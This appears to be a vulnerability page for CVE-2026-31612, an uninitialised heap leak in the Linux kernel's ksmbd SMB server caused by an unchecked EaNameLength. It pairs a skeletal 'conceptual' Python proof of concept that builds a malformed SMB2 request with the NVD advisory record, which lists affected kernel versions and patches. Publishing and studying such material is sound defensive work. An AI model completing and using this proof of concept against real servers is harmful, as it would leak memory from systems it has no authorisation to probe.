CVE-2026-31612

import socket import struct # Conceptual PoC for CVE-2026-31612 # This script demonstrates sending a malformed SMB2 packet to trigger the vulnerability. # Note: This requires a vulnerable ksmbd server and a valid SMB session setup. def create_malformed_ea_request(): # SMB2 Header (Simplified) smb2_header = b"\xfe\x53\x4d\x42" # Protocol ID smb2_header += b"\x40\x00" # Structure Size # ... other header fields ... # Malformed EA Request # Setting EaNameLength to a large value without sufficient buffer data ea_name_length = 0xFFFF # Malicious length ea_data = b"A" * 10 # Minimal actual data # Construct the payload (Structure depends on specific SMB2 command) # This is a representation of the logic flaw payload = struct.pack("<H", ea_name_length) # Untrusted length payload += ea_data return smb2_header + payload # send_to_vulnerable_ksmbd(create_malformed_ea_request())

{"cve": {"id": "CVE-2026-31612", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:40.460", "lastModified": "2026-04-29T17:00:28.603", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: validate EaNameLength in smb2_get_ea()\n\nsmb2_get_ea() reads ea_req->EaNameLength from the client request and\npasses it directly to strncmp() as the comparison length without\nverifying that the length of the name really is the size of the input\nbuffer received.\n\nFix this up by properly checking the size of the name based on the value\nreceived and the overall size of the request, to prevent a later\nstrncmp() call to use the length as a \"trusted\" size of the buffer.\nWithout this check, uninitialized heap values might be slowly leaked to\nthe client."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15", "versionEndExcluding": "6.6.136", "matchCriteriaId": "B1ABA9F0-A5C4-4CBE-92EC-33CA7D4F7634"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/243b206bcb5a7137e8bddd57b2eec81e1ebd3859", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3363a770b193f555f29d76ddf4ced3305c0ccf6d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4b73376feecb3b61172fe5b4ff42bbbb8531669d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/551dfb15b182abad4600eaf7b37e6eb7000d5b1b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/66751841212c2cc196577453c37f7774ff363f02", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/dfc6878d14acafffbe670bf2576620757a10a3d8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}